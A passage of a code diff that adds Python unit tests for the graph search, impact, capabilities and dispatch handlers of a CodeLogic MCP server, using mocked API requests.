self.assertIsNone(body.get("query")) + + @patch("codelogic_mcp_server.handlers.graph_tools.graph_request") + @patch("codelogic_mcp_server.handlers.graph_tools.get_mv_id") + def test_search_not_deployed(self, mock_mv, mock_gr): + mock_mv.return_value = "mv-1" + mock_gr.return_value = (None, 404, "not_deployed", "") + result = handle_codelogic_graph_search({"query": "x"}) + self.assertIn("Graph API not available", result[0].text) + self.assertIn("/graph/search", result[0].text) + + def test_impact_requires_seeds(self): + with self.assertRaises(ValueError): + handle_codelogic_graph_impact({"seed_node_ids": []}) + with self.assertRaises(ValueError): + handle_codelogic_graph_impact({}) + + @patch("codelogic_mcp_server.handlers.graph_tools.graph_request") + @patch("codelogic_mcp_server.handlers.graph_tools.get_mv_id") + def test_capabilities_get(self, mock_mv, mock_gr): + mock_mv.return_value = "mv-cap" + mock_gr.return_value = ({"labels": ["X"]}, 200, None, "") + handle_codelogic_graph_capabilities({}) + mock_gr.assert_called_with( + "GET", + "/capabilities", + json_body=None, + query_params={"materializedViewId": "mv-cap"}, + ) + + def test_dispatch_unknown(self): + with self.assertRaises(ValueError): + handle_graph_tool("codelogic-graph-unknown", {}) + + +if __name__ == "__main__": + unittest.main()